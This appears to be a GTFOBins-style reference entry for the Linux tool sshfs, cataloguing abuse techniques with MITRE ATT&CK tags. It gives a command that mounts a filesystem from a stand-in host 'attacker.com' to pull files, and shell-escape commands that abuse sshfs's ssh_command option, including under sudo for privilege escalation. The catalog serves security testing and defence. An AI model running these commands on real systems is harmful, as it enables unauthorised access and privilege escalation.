Catalog GTFOBins

GTFO · Tool

sshfs

6 techniques LinuxGTFOBins GPL-3.0

download

File Download Linux
sshfs user@attacker.com:/ /path/to/dir/
cp /path/to/dir/path/to/input-file /path/to/output-file
Context
unprivileged
Native
download
MITRE
T1105

shell

ExecutionPrivilege Escalation Linux

The mount dir must be writable by the invoking user.

echo -e '/bin/sh </dev/tty >/dev/tty 2>/dev/tty' >/path/to/temp-file
chmod +x /path/to/temp-file
sshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/
Context
sudo
Native
shell
MITRE
T1059

shell

Execution Linux

The mount dir must be writable by the invoking user.

echo -e '/bin/sh </dev/tty >/dev/tty 2>/dev/tty' >/path/to/temp-file
chmod +x /path/to/temp-file
sshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/
Context
unprivileged
Native
shell
MITRE
T1059